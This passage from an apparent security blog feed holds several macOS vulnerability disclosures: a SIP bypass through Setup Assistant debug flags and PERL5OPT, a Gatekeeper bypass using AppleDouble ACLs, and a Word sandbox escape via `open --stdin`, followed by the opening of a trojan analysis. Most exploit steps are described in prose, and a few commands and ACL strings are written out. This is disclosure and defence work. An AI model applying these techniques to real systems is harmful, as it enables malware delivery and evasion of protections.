Running Setup Assistant with that argument had no effect on the UI layout or its functionality, but it did highlight the usage of arguments within Setup Assistant. Closely examining Setup Assistant, we discovered other interesting command-line arguments:

Code displaying Setup Assistant's usage of -MiniBuddyYes
Figure 12. Setup Assistant’s usage of -MiniBuddyYes within useDebugParameters

Additionally, we discovered a function called useDebugParameters that parses an interesting command-line parameter ‑MBDebug.

Code displaying Setup Assistant –MBDebug
Figure 13. Setup Assistant –MBDebug

Running the Setup Assistant with the ‑MBDebug parameter results in a successful migration with no sign out. We further used the -ResumeBuddyYes parameter in conjunction with ‑MBDebug to automatically skip a few welcome screens.

Successful migration run without signing out
Figure 14. Running a migration without signing out

Since performing migration requires UI interaction, but no sign-out, we used AppleScript to automate the exploit.

Our final exploit does the following:

  1. Prepares a small 1GB Time Machine backup and attaches it with hdiutil.
  2. Prepares an arbitrary payload that is designed to run without SIP filesystem restrictions.
  3. Sets the environment variable PERL5OPT using launchctl to run the payload once perl starts.
  4. Runs Setup Assistant with the -MBDebug and -ResumeBuddyYes command-line flags.
  5. Uses AppleScript to automate the Setup Assistant screens to migrate “From a Mac, Time Machine backup or Startup disk”, followed by automatically clicking “continue”.

Implications of arbitrary SIP bypasses

The implications of arbitrary SIP bypasses are serious, as the potential for malware authors is significant. Code that maliciously bypasses SIP could have considerable consequences, such as:

  1. Create undeletable malware: The most straight-forward implication of a SIP bypass is that, by assigning files with the com.apple.rootless extended attribute (or overriding existing ones), an attacker can create files that are protected by SIP and therefore undeletable by ordinary means. This is quite important for security solutions, such as Microsoft Defender for Endpoint, that are required to quarantine malware but cannot quarantine files protected by SIP.
  2. Expand the attack surface for userland and kernel attacker techniques: As pointed out by Mickey Jin’s blog post on a different SIP bypass, it’s possible for attackers to gain arbitrary kernel code execution. As Apple slowly disallows third party kernel extensions and transitions the Mac ecosystem towards their Endpoint Security framework, security solutions will no longer be able to monitor the kernel for malicious activity, including malicious code executions.
  3. Tamper with the integrity of the system, effectively enabling rootkits: This is a derivation of arbitrary kernel code execution—once kernel code execution is established by an attacker, certain rootkit techniques are possible, such as hiding processes or files from all monitoring tools. These techniques might also include bypassing tamper protection, which is important for Microsoft Defender for Endpoint to protect against threats.
  4. Full TCC bypass: As pointed out by Mickey Jin’s blog post on a different SIP bypass, attackers could replace databases that control Transparency, Consent, and Control (TCC) policies (TCC.db), effectively granting arbitrary applications access to private data and peripherals. For further explanation about the implications, we’ve demonstrated a TCC bypass in the past called “Powerdir”.

Hardening device security through collaboration and research-driven protection

Attackers continue to seek new footholds into increasingly secure devices and networks, oftentimes by leveraging unpatched vulnerabilities and misconfigurations to access valuable systems and data. Gaining the ability to bypass SIP and similar security technology in macOS devices can be an attractive and even necessary capability for adversaries. Given SIP’s position as both a device’s built-in baseline protection and the last line of defense against malware and other threats, bypassing SIP can have considerable consequences for users. As such, it’s crucial that we strive to enrich our protection technologies across platforms against such issues through research-driven protection and collaboration with partners, customers, and industry experts.

This case displays how collaborative research and responsible vulnerability disclosure informs our comprehensive protection capabilities across platforms to provide organizations a complete picture of their security posture. Microsoft Defender Vulnerability Management quickly discovers and remediates such vulnerabilities while Microsoft Defender for Endpoint detects and alerts on anomalous device activities, including setting perl and bash environment variables through the launchctl utility, as shown below in Figure 15. Additionally, Defender for Endpoint has similar detections for sensitive file access, including system launch daemons, various sensitive configuration files, and many more.

Microsoft Defender for Endpoint detecting the PERL5OPT environment variable being suspiciously set
Figure 15. Microsoft Defender for Endpoint detecting the PERL5OPT environment variable being suspiciously set

This case further emphasizes the need for responsible vulnerability disclosures and expert cross-platform collaboration to mitigate issues such as CVE-2023-32369, regardless of the vulnerable device or platform in use. We wish to thank the Apple product security team again for their efforts and responsiveness in addressing the issue.

Defending against the evolving threat landscape requires the ability to protect and secure users’ computing experiences, whatever the platform. As cross-platform threats continue to grow, we will continue to share vulnerability discoveries and threat intelligence in addition to working with the security community to improve upon solutions that protect users and organizations each day.

Jonathan Bar Or, Michael Pearse, Anurag Bohra

Microsoft Threat Intelligence Community

References   

The post New macOS vulnerability, Migraine, could bypass System Integrity Protection appeared first on Microsoft Security Blog.

]]>
Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability http://approjects.co.za/?big=en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/ Mon, 19 Dec 2022 18:00:00 +0000 Microsoft discovered a vulnerability in macOS, referred to as “Achilles”, allowing attackers to bypass application execution restrictions enforced by the Gatekeeper security mechanism.

The post Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability appeared first on Microsoft Security Blog.

]]>
On July 27, 2022, Microsoft discovered a vulnerability in macOS that can allow attackers to bypass application execution restrictions imposed by Apple’s Gatekeeper security mechanism, designed to ensure only trusted apps run on Mac devices. We developed a proof-of-concept exploit to demonstrate the vulnerability, which we call “Achilles”. Gatekeeper bypasses such as this could be leveraged as a vector for initial access by malware and other threats and could help increase the success rate of malicious campaigns and attacks on macOS.

After carefully reviewing the implications, we shared the vulnerability with Apple in July 2022 through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Fixes for the vulnerability, now identified as CVE-2022-42821, were quickly released by Apple to all their OS versions. We note that Apple’s Lockdown Mode, introduced in macOS Ventura as an optional protection feature for high-risk users that might be personally targeted by a sophisticated cyberattack, is aimed to stop zero-click remote code execution exploits, and therefore does not defend against Achilles. End-users should apply the fix regardless of their Lockdown Mode status. We thank Apple for the collaboration in addressing this issue.

In this blog post, we share information about Gatekeeper and the vulnerability able to bypass it. We also share this research to emphasize the importance of collaboration among researchers and the security community to improve defenses for the larger ecosystem.

Unlocking the Gatekeeper security mechanism

Many macOS infections are the result of users running malware, oftentimes inadvertently. Fake app bundles might masquerade themselves as different apps, like Flash Player, or as a legitimate file, such as using a PDF icon and using the app name “Resume”. To combat this highly popular infection vector, Apple has imposed strong security mechanisms. When downloading apps from a browser, like Safari, the browser assigns a special extended attribute to the downloaded file. That attribute is named com.apple.quarantine and is later used to enforce policies such as Gatekeeper or certain mitigations that prevent sandbox escapes. In recent years, Apple has tightened the security policies even further, and the current Gatekeeper design dictates the following behavior for downloaded apps:

  1. If the app is validly signed and notarized, meaning approved by Apple, then a prompt requires the user’s consent before its launched.
  2. Otherwise, the user is informed that the app cannot be run as it’s untrusted.

Extended attributes are a filesystem feature supported on common macOS filesystems, like APFS and HFS+, and their main purpose is to save file metadata. Specifically, the com.apple.quarantine attribute saves information regarding the source of the downloaded file, as well as data instructing Gatekeeper how to process the file. The attribute format is generally:

flag;date;agent_name;UUID

Extended attributes can be viewed or modified with the xattr command line utility.

A flag value of “0083” enforces Gatekeeper restrictions on the file, as displayed below:

Graphical user interface; text
Figure 1. A common com.apple.quarantine extended attribute value
Graphical user interface; text
Figure 2. Gatekeeper blocking an untrusted downloaded file

Due to its essential role in stopping malware on macOS, Gatekeeper is a helpful and effective security feature. However, considering there have been numerous bypass techniques targeting the security feature in the past, Gatekeeper is not bulletproof. Gaining the ability to bypass Gatekeeper has dire implications as sometimes malware authors leverage those techniques for initial access.

Historical overview of Gatekeeper bypasses

Numerous Gatekeeper bypasses have been identified in the past years, some even abused by malware families such as Shlayer. When examining Gatekeeper bypasses from recent years, we see two approaches:

  1. Misuse the com.apple.quarantine extended attribute assignment.
  2. Find a vulnerability in the components that enforce policy checks on quarantined files.

Two cases that we don’t consider to constitute a “true” Gatekeeper bypass are:

  1. Using unsupported filesystems, like a USB mass storage device using FAT32, as these require non-trivial user interaction to run macOS applications.
  2. MITRE’s definition of “Gatekeeper Bypass” (T1553.001), which requires code execution to forcefully modify or remove the com.apple.quarantine extended attribute.

Here are some examples of Gatekeeper bypass vulnerabilities discovered over the last several years:

VulnerabilityExploitsDescription
CVE-2022-22616Assignment of the quarantine attribute.Gzip files archived in BOM archives are not assigned with the quarantine extended attribute, further detailed here.
CVE-2021-1810Assignment of the quarantine attribute.Paths longer than 886 characters were not assigned with extended attributes. Therefore, creating a symbolic link that points to an app that resides in a long path results in a Gatekeeper bypass. Since symbolic links are not assigned with the quarantine attribute, it was possible to completely bypass Gatekeeper, as outlined here.
CVE-2021-30657Component(s) that enforce policy checks.App bundles with a missing Info.plist and a shell script main executable component are treated incorrectly by syspolicyd, a component that enforces policy restrictions on apps. Writeups can be found here and here.
CVE-2021-30853Component(s) that enforce policy checks.A security bug in the way files with a “Shebang” (#!) header are interpreted by syspolicyd cause it to consider the app bundle to be safe, as detailed here.
CVE-2019-8656Assignment of the quarantine attribute.Since symbolic links are not assigned with the quarantine extended attribute, an archive that contains a symbolic link to an app that resides in an external filesystem (NFS) results in a Gatekeeper bypass. Apple fixed the issue by blocking the execution of applications from remote shared locations, documented here.
CVE-2014-8826Component(s) that enforce policy checks.Quarantine attributes are not checked for JAR files, which are run by Java, as summarized here.

Metadata persistence over AppleDouble

Intrigued by CVE-2021-1810, as listed in the above table, we wondered what mechanism could be leveraged in archives. Considering symbolic links are preserved in archives and aren’t assigned with quarantine attributes—we looked for a mechanism that could persist different kinds of metadata over archives.

After some investigation, we discovered a way to persist important file metadata through a mechanism called AppleDouble.

Even though extended attributes are common on different filesystems, they might be implemented differently or even not supported, so copying files with their metadata becomes a challenging task. To solve this problem, back in 1994, Apple introduced the concept of AppleSingle and AppleDouble formats. In a nutshell, AppleSingle is a binary blob that is added as a part of the original file contents so that there’s only a “single” file to process, whereas AppleDouble saves the metadata in a different file side-by-side next to the original file, with a “._” prefix.

Interestingly, when extracting an archive, macOS processes any attached AppleDouble file and assigns the target file with the appropriate metadata.

The AppleDouble binary file format is quite complicated, but the code that parses it can be read in the XNU git repository in the file that handles extended attributes, which also includes ASCII-art depiction of the format. To demonstrate the AppleDouble file information, we used the ditto utility as such:

Graphical user interface; text
Figure 3. AppleDouble file created as “._somefile”

When the file is archived alongside its original file and then extracted by macOS, extended attributes are fully restored, as demonstrated here:

Graphical user interface; text
Figure 4. Using AppleDouble in a zip file to preserve extended attributes

Using this newfound knowledge, we examined how we could use the AppleDouble mechanism to trick Gatekeeper in some way.

Our first approach was to generate many large extended attributes in the AppleDouble format such that there won’t be enough space to assign the com.apple.quarantine extended attribute. Interestingly, it doesn’t work—AppleDouble is ignored if the overall size is over 2 GB, and there is no limitation on the number of extended attributes a file could get (besides the size of the disk).

Researching further, we decided to examine the source code of the unarchiving mechanism. Carefully studying the copyfile_unpack implementation, we discovered an option for a special extended attribute named com.apple.acl.text (saved in the XATTR_SECURITY_NAME constant in the source code), which is used to set arbitrary Access Control Lists.

Graphical user interface; text
Figure 5. The code that allows setting arbitrary Access Control Lists

Using ACLs for exploitation

Access Control Lists (ACLs) are a mechanism in macOS that further extends the traditional permission model. The traditional permission model saves permission for each file in a file “mode”, which can be changed by using the chmod utility. It enforces permissions on the owning user, owning group, and others in terms of reading (r), writing (w) and launching (x). A file’s mode can be viewed by listing files with the “-l” (long) flag:

Graphical user interface; text
Figure 6. Viewing the “hello.sh” file mode, the owner can do anything while others can only read or launch it

Unlike the traditional permission mechanism, ACLs allow fine-grained permissions to files and directories. Each ACL has one or more Access Control Entries (ACEs) that dictate what each principal can or cannot do, much like firewall rules. Like the file mode, ACLs can be modified with the chmod utility and viewed with the ls utility. It’s important to note that file access checks are dictated by both ACLs and the traditional permission model mechanisms, as demonstrated by the following example:

Graphical user interface; text
Figure 7. Denying file reads from everyone makes it impossible to read the file despite its mode

The set of authorizations supported by ACLs is well-documented by Apple in the chmod manual, which contain more than the traditional reading, writing, or launching abilities, including:

  • writeattr: controls the ability to write attributes to the file
  • writeextattr: controls the ability to write extended attributes to the file
  • writesecurity: controls the ability to set ACLs to the file
  • chown: controls the ability to set the owner of the file
  • delete: controls the ability to delete the file

Equipped with this information, we decided to add very restrictive ACLs to the downloaded files. Those ACLs prohibit Safari (or any other program) from setting new extended attributes, including the com.apple.quarantine attribute.

Two minor challenges that we had to overcome during the proof-of-concept (POC) development were:

  • The format of the ACL text as saved in the AppleDouble file isn’t identical to the format of the chmod command line. This can easily be overcome by invoking the macOS acl_to_text API and saving the ACL with the correct format.
  • When using the ditto utility, the com.apple.acl.text extended attribute is lost in the resulting AppleDouble file. This can be overcome by either manually creating the binary AppleDouble or, as we chose in this case, simply patching the resulting AppleDouble file before archiving it.

Therefore, our POC is as follows:

  1. Create a fake directory structure with an arbitrary icon and payload.
  2. Create an AppleDouble file with the com.apple.acl.text extended attribute key and a value that represents a restrictive ACL (we chose the equivalent of “everyone deny write,writeattr,writeextattr,writesecurity,chown”). Perform the correct AppleDouble patching if using ditto to generate the AppleDouble file.
  3. Create an archive with the application alongside its AppleDouble file and host it on a web server.

We named our POC exploit Achilles after its use of ACLs to bypass Gatekeeper. Our POC recorded video can be viewed here:

The AppleDouble file we used for this Gatekeeper bypass can be generated, as displayed below:

Graphical user interface; text
Figure 8. Generic AppleDouble file that can be used for any Gatekeeper bypass

Improving security for all through research and threat intelligence sharing

The threat landscape continues to evolve, delivering new threats and attack capabilities that take advantage of unpatched vulnerabilities and misconfigurations as a vector to access systems and data. Our data shows that fake apps remain one of the top entry vectors on macOS, indicating Gatekeeper bypass techniques are an attractive and even a necessary capability for adversaries to leverage in attacks. Nonetheless, through research-driven protections and collaboration with customers, partners, and industry experts, we strive to enrich our protection technologies to defend against such issues—regardless of the platform or device in use.

As environments continue to rely on a diverse range of devices and operating systems, organizations need security solutions that can provide protection across platforms and a complete picture of their security posture. Collaborative research such as this informs our comprehensive protection capabilities across platforms, allowing Microsoft Defender for Endpoint to deliver and coordinate threat defense across all major OS platforms including Windows, macOS, Linux, Android, and iOS. On macOS devices, Microsoft Defender for Endpoint detects and exposes threats and vulnerabilities, including CVE-2022-42821, using antivirus, endpoint detection and response (EDR), and threat and vulnerability management capabilities. This research also improved Microsoft Defender’s Vulnerability Management capabilities to discover, prioritize, and remediate misconfigurations and vulnerabilities. This includes detecting CVE-2022-42821 on macOS devices by examining AppleDouble files misusing ACLs.

This case also emphasized the need for responsible vulnerability disclosures and expert, cross-platform collaboration to effectively mitigate issues, protecting users against present and future threats. We wish to again thank the Apple product security team for their efforts and responsiveness in addressing the issue.

Microsoft Defender for Endpoint detecting and preventing an AppleDouble file
Figure 9. Detection by Microsoft Defender for Endpoint

Our Microsoft security researchers continue to discover new threats and vulnerabilities as part of our effort to secure users’ computing experiences, be it a Windows or non-Windows device. In the effort to improve security for all, we will continue to share intelligence and work with the security community to create and improve upon solutions that protect users and organizations across platforms every single day.

Jonathan Bar Or

Microsoft 365 Defender Research Team

The post Gatekeeper’s Achilles heel: Unearthing a macOS vulnerability appeared first on Microsoft Security Blog.

]]>
Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706 http://approjects.co.za/?big=en-us/security/blog/2022/07/13/uncovering-a-macos-app-sandbox-escape-vulnerability-a-deep-dive-into-cve-2022-26706/ Wed, 13 Jul 2022 16:00:00 +0000 Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. We shared these findings with Apple, and fix for this vulnerability, now identified as CVE-2022-26706, was included in the security updates on May 16, 2022.

The post Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706 appeared first on Microsoft Security Blog.

]]>
Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in October 2021. A fix for this vulnerability, now identified as CVE-2022-26706, was included in the security updates released by Apple on May 16, 2022. Microsoft shares the vulnerability disclosure credit with another researcher, Arsenii Kostromin (0x3c3e), who discovered a similar technique independently.

We encourage macOS users to install these security updates as soon as possible. We also want to thank the Apple product security team for their responsiveness in fixing this issue.

The App Sandbox is Apple’s access control technology that application developers must adopt to distribute their apps through the Mac App Store. Essentially, an app’s processes are enforced with customizable rules, such as the ability to read or write specific files. The App Sandbox also restricts the processes’ access to system resources and user data to minimize the impact or damage if the app becomes compromised. However, we found that specially crafted codes could bypass these rules. An attacker could take advantage of this sandbox escape vulnerability to gain elevated privileges on the affected device or execute malicious commands like installing additional payloads.

We found the vulnerability while researching potential ways to run and detect malicious macros in Microsoft Office on macOS. For backward compatibility, Microsoft Word can read or write files with an “~$” prefix. Our findings revealed that it was possible to escape the sandbox by leveraging macOS’s Launch Services to run an open –stdin command on a specially crafted Python file with the said prefix.

Our research shows that even the built-in, baseline security features in macOS could still be bypassed, potentially compromising system and user data. Therefore, collaboration between vulnerability researchers, software vendors, and the larger security community remains crucial to helping secure the overall user experience. This includes responsibly disclosing vulnerabilities to vendors.

In addition, insights from this case study not only enhance our protection technologies, such as Microsoft Defender for Endpoint, but they also help strengthen the security strategies of software vendors and the computing landscape at large. This blog post thus provides details of our research and overviews of similar sandbox escape vulnerabilities reported by other security researchers that helped enrich our analysis.

How macOS App Sandbox works

In a nutshell, macOS apps can specify sandbox rules for the operating system to enforce on themselves. The App Sandbox restricts system calls to an allowed subset, and the said system calls can be allowed or disallowed based on files, objects, and arguments. Simply put, the sandbox rules are a defense-in-depth mechanism that dictates the kind of operations an application can or can’t do, regardless of the type of user running it. Examples of such operations include:

  • the kind of files an application can or can’t read or write;
  • whether the application can access specific resources such as the camera or the microphone, and;
  • whether the application is allowed to perform inbound or outbound network connections.
Diagram comparing how user data and system resources access an app without and with App Sandbox. 

Without App Sandbox, all user data and system resources will have unrestricted access to the app.

With App Sandbox, only the data and resources confined within the said sandbox will have unrestricted access to the app. All other user data and resources won't have access.
Figure 1. Illustration of a sandboxed app, from the App Sandbox documentation (photo credit: Apple)

Therefore, the App Sandbox is a useful tool for all macOS developers in providing baseline security for their applications, especially for those that have large attack surfaces and run user-provided code. One example of these applications is Microsoft Office.

Sandboxing Microsoft Office in macOS

Attackers have targeted Microsoft Office in their attempts to gain a foothold on devices and networks. One of their techniques is abusing Office macros, which they use in social engineering attacks to trick users into downloading malware and other payloads.

On Windows systems, Microsoft Defender Application Guard for Office helps secure Microsoft Office against such macro abuse by isolating the host environment using Hyper-V. With this feature enabled, an attacker must first be equipped with a Hyper-V guest-to-host vulnerability to affect the host system—a very high bar compared to simply running a macro. Without a similar isolation technology and default setting on macOS, Office must rely on the operating system’s existing mitigation strategies. Currently, the most promising technology is the macOS App Sandbox.

Viewing the Microsoft sandbox rules is quite straightforward with the codesign utility. Figure 2 below shows the truncated sandbox rules for Microsoft Word:

Partial screenshot of a command line interface showing different keys and values related to the App Sandbox rules for Microsoft Word in macOS.
Figure 2. Viewing the Microsoft Word sandbox rules with the codesign utility

One of the rules dictates the kind of files the application is allowed to read or write. As seen in the screenshot of the syntax below, Word is allowed to read or write files with filenames that start with the “~$” prefix. The reason for this rule is rooted in the way Office works internally and remains intact for backward compatibility.

Partial screenshot of a command line interface showing the read/write App Sandbox rule for Microsoft Word in macOS.
Figure 3. File read and write sandbox rule for Microsoft Word

Despite the security restrictions imposed by the App Sandbox’s rules on applications, it’s possible for attackers to bypass the said rules and let malicious codes “escape” the sandbox and execute arbitrary commands on an affected device. These codes could be hidden in a specially crafted Word macro, which, as mentioned earlier, is one of the attackers’ preferred entry points.

Previously reported Office-specific sandbox escape vulnerability

For example, in 2018, MDSec reported a vulnerability in Microsoft Office on macOS that could allow an attacker to bypass the App Sandbox. As explained in their blog post, MDSec’s proof-of-concept (POC) exploit took advantage of the fact that Word could drop files with arbitrary contents to arbitrary directories (even after passing traditional permission checks), as long as these files’ filenames began with a “~$” prefix. This bypass was relatively straightforward: have a specially crafted macro drop a .plist file in the user’s LaunchAgents directory.

The LaunchAgents directory is a well-known persistence mechanism in macOS. PLIST files that adhere to a specific structure describe (that is, contain the metadata of) macOS launch agents initiated by the launchd process when a user signs in. Since these launch agents will be the children of launchd, they won’t inherit the sandbox rules enforced onto Word, and therefore will be out of the Office sandbox.

Shortly after the above vulnerability was reported, Microsoft deployed a fix that denied file writes to the LaunchAgents directory and other folders with similar implications. The said disclosure also prompted us to look into different possible sandbox escapes in Microsoft Word and other applications.

Exploring Launch Services as means of escaping the sandbox

In 2020, several blog posts described a generic sandbox escape vulnerability in macOS’s /usr/bin/open utility, a command commonly used to launch files, folders, and applications just as if a user double-clicked them. While open is a handy command, it doesn’t create child processes on its own. Instead, it performs an inter-process communication (IPC) with the macOS Launch Services, whose logic is implemented in the context of the launchd process. Launch Services then performs the heavy lifting by resolving the handler and launching the right app. Since launchd creates the process, it’s not restricted by the caller’s sandbox, similar to how MDSec’s POC exploit worked in 2018.

However, using open for sandbox escape purposes isn’t trivial because the destination app must be registered within Launch Services. This means that, for example, one couldn’t run files like osascript outside the sandbox using open. Our internal offensive security team therefore decided to reassess the open utility for sandbox escape purposes and use it in a larger end-to-end attack simulation.

Our obvious first attempt in creating a POC exploit was to create a macro that launches a shell script with the Terminal app. Surprisingly, the POC didn’t work because files dropped from within the sandboxed Word app were automatically given the extended attribute com.apple.quarantine (the same one used by Safari to keep track of internet-downloaded files, as well as by Gatekeeper to block malicious files from executing), and Terminal simply refused to run files with that attribute. We also tried using Python scripts, but the Python app had similar issues running files having the said attribute.

Our second attempt was to use application extensibility features. For example, Terminal would run the default macOS shell (zsh), which would then run arbitrary commands from files like ~/.zshenv before running its own command line. This meant that dropping a .zshenv file in the user’s home directory and launching the Terminal app would cause the sandbox escape. However, due to Word’s sandbox rules, dropping a .zshenv file wasn’t straightforward, as the rules only allowed an application to write to files that begin with the “~$” prefix.

However, there is an interesting way of writing such a file indirectly. macOS was shipped with an application called Archive Utility responsible of extracting archive files (such as ZIP files). Such archives were extracted without any user interaction, and the files inside an archive were extracted in the same directory as the archive itself. Therefore, our second POC worked as follows:

  1. Prepare the payload by creating a .zshenv file with arbitrary commands and placing it in a ZIPfile. Encode the ZIPfile contents in a Word macro and drop those contents into a file “~$exploit.zip” in the user’s home directory.
  2. Launch Archive Utility with the open command on the “~$exploit.zip” file. Archive Utility ran outside the sandbox (since it’s the child process of /usr/bin/open) and was therefore permitted to create files with arbitrary names. By default, Archive Utility extracted the files next to the archive itself—in our case, the user’s home directory. Therefore, this step successfully created a .zshenv file with arbitrary contents in the user’s home directory.
  3. Launch the Terminal app with the open command. Since Terminal hosted zsh and zsh ran commands from the .zshenv file, the said file could escape the Word sandbox successfully.
Screenshot of a command line interface showing proof-of-concept exploit code.
Figure 4. Preparing a Word macro with our sandbox escape for an internal Red Team operation

Perception Point’s CVE-2021-30864

In October 2021, Perception Point published a blog post that discussed a similar finding (and more elegant, in our opinion). In the said post, Perception Point released details about their sandbox escape (now identified as CVE-2021-30864), which used the following facts:

  1. Every sandboxed process had its own container directory that’s used as a “scratch space.” The sandboxed process could write arbitrary files, including arbitrary filenames, to that directory unrestricted.
  2. The open command had an interesting –env option that could set or override arbitrary environment variables for the launched app.

Therefore, Perception Point’s POC exploit was cleverly simple:

  1. Drop a .zshenv file in the container directory. This was allowed because sandbox rules weren’t enforced on that directory.
  2. Launch Terminal with the open command but use the –env option to override the HOME environment variable to point to the container directory. This made zsh consider the user’s home directory to be the container directory, and run commands from the planted .zshenv file.

Apple has since patched the vulnerability Perception Point reported in the latest version of macOS, Monterey. While we could still create the “~$exploit.zip” file in the user’s home directory, using open to launch the Archive Utility on the ZIP file now resulted in it being extracted to the Downloads folder. While this is an interesting behavior, we could no longer use it for sandbox escape purposes.

Final exploit attempt: Revisiting the ‘open’ command

After discovering that Apple has fixed both variants that abuse .zshenv, , we decided to examine all the command line options of the open command. Soon after, we came across the following:

Screenshot of a command line interface with the following text:

--stdin PATH
       Launches the application with stdin connected to PATH.
Figure 5. The –stdin option in the open utility as presented by its manual entry

As mentioned earlier, we couldn’t run Python with a dropped .py file since Python refuses to run files with the “com.apple.quarantine” extended attribute. We also considered abusing the PYTHONSTARTUP environment variable, but Apple’s fix to CVE-2021-30864 apparently prevented that option, too. However, –stdin bypassed the “com.apple.quarantine” extended attribute restriction, as there was no way for Python to know that the contents from its standard input originated from a quarantined file.

Our POC exploit thus became simply as follows:

  1. Drop a “~$exploit.py” file with arbitrary Python commands.
  2. Run open –stdin=’~$exploit.py’ -a Python, which runs the Python app with our dropped file serving as its standard input. Python happily runs our code, and since it’s a child process of launchd, it isn’t bound to Word’s sandbox rules.
Screenshot of a proof-of-concept exploit code.
Figure 6. Sample minimal POC exploit code

We also came up with a version that’s short enough to be a Twitter post:

Screenshot of a proof-of-concept exploit code.
Figure 7. “Tweetable” POC exploit

Detecting App Sandbox escapes with Microsoft Defender for Endpoint

Since our initial discovery of leveraging Launch Services in macOS for generic sandbox escapes, we have been using our POC exploits in Red Team operations to emulate end-to-end attacks against Microsoft Defender for Endpoint, improve its capabilities, and challenge our detections. Shortly after our Red Team used our first POC exploit, our Blue Team members used it to train artificial intelligence (AI) models to detect our exploit not only in Microsoft Office but also on any app used for a similar Launch Services-based sandbox escape.

After we learned of Perception Point’s technique and created our own new exploit technique (the Python POC), our Red Team saw another opportunity to fully test our own detection durability. Indeed, the same set of detection rules that handled our first sandbox escape vulnerability still turned out to be durable—even before the vulnerability related to our second POC exploit was patched.

Partial screenshot of Microsoft Defender for Endpoint detecting an Office sandbox escape vulnerability. 

The left panel shows the Alert Story with timestamps. The right panel shows the Alert details, including category, MITRE ATT&CK techniques, detection source, service source, detection status, and other information.
Figure 8. Microsoft Defender for Endpoint detecting Office sandbox escape

For Defender for Endpoint customers, such detection durability feeds into the product’s threat and vulnerability management capabilities, which allows them to quickly discover, prioritize, and remediate misconfigurations and vulnerabilities—including those affecting non-Windows devices—through a unified security console.

Learn how Microsoft Defender for Endpoint delivers a complete endpoint security solution across all platforms.

Jonathan Bar Or
Microsoft 365 Defender Research Team

The post Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706 appeared first on Microsoft Security Blog.

]]>
The evolution of a Mac trojan: UpdateAgent’s progression http://approjects.co.za/?big=en-us/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/ Wed, 02 Feb 2022 17:00:00 +0000 Our discovery and analysis of a sophisticated Mac trojan in October exposed a year-long evolution of a malware family—and depicts the rising complexity of threats across platforms.

The post The evolution of a Mac trojan: UpdateAgent’s progression appeared first on Microsoft Security Blog.

]]>
Our discovery and analysis of a sophisticated Mac trojan in October exposed a year-long evolution of a malware family—and depicts the rising complexity of threats across platforms. The trojan, tracked as UpdateAgent, started as a relatively basic information-stealer but was observed distributing secondary payloads in the latest campaign, a capability that it added in one of its multiple iterations. Reminiscent of the progression of info-stealing trojans in other platforms, UpdateAgent may similarly become a vector for other threats to infiltrate target systems.

Since its first appearance in September 2020, the malware displayed an increasing progression of sophisticated capabilities, and while the latest two variants were sporting much more refined behavior compared with earlier versions, they show signs that the malware is still in the development stage and more updates are likely to come. The latest campaign saw the malware installing the evasive and persistent Adload adware, but UpdateAgent’s ability to gain access to a device can theoretically be further leveraged to fetch other, potentially more dangerous payloads.

UpdateAgent lures its victims by impersonating legitimate software and can leverage Mac device functionalities to its benefit. One of the most advanced techniques found in UpdateAgent’s latest toolbox is bypassing Gatekeeper controls, which are designed to ensure only trusted apps run on Mac devices. The trojan can leverage existing user permissions to quietly perform malicious activities before deleting the evidence to cover its tracks. UpdateAgent also misuses public cloud infrastructure, namely Amazon S3 and CloudFront services, to host its additional payloads. We shared our findings with the team at Amazon Web Services, and they have taken down the malicious URLs–another example of how intelligence sharing and collaboration results in better security for the broader community.

Threats like UpdateAgent are proof that, as environments continue to rely on a diverse range of devices and operating systems, organizations need security solutions that can provide protection across platforms and a complete picture of their security posture. Microsoft Defender for Endpoint delivers and coordinates threat defense across all major OS platforms including Windows, macOS, Linux, Android and iOS. On macOS devices, Microsoft Defender for Endpoint detects and exposes threats and vulnerabilities through its antivirus, endpoint detection and response (EDR), and threat and vulnerability management capabilities.

In this blog post, we share the evolving development of the UpdateAgent trojan targeting Mac users and detail the malware’s recent campaign to compromise devices, steal sensitive information, and distribute adware as a secondary payload.

Progression of UpdateAgent

UpdateAgent is uniquely characterized by its gradual upgrading of persistence techniques, a key feature that indicates this trojan will likely continue to use more sophisticated techniques in future campaigns. Like many information-stealers found on other platforms, the malware attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.

The trojan is likely distributed via drive-by downloads or advertisement pop-ups, which impersonate legitimate software such as video applications and support agents. This action of impersonating or bundling itself with legitimate software increases the likelihood that users are tricked into installing the malware. Once installed, UpdateAgent starts to collect system information that is then sent to its command-and-control (C2) server.

Notably, the malware’s developer has periodically updated the trojan over the last year to improve upon its initial functions and add new capabilities to the trojan’s toolbox. The timeline below illustrates a series of techniques adopted by UpdateAgent from September 2020 through October 2021:

A timeline detailing UpdateAgent's evolution between September 2020 and October 2021 and the techniques the trojan adopted with each update. The timeline is further detailed in the following section:
Figure 1. Tracking the evolution of UpdateAgent
  • September–December 2020: The initial version of UpdateAgent was considered to be a fairly basic information-stealer. At the time, the malware was only capable of performing reconnaissance to scan and collect system information such as product names and versions. Once gathered, the data was then sent as heartbeats to the malware’s C2 server.
  • January–February 2021: Approximately two months later, UpdateAgent maintained its original capabilities and added a new one: the ability to fetch secondary payloads as .dmg files from public cloud infrastructure. DMG files are mountable disk images used to distribute software and apps to macOS, allowing the trojan to easily install additional programs on affected devices.
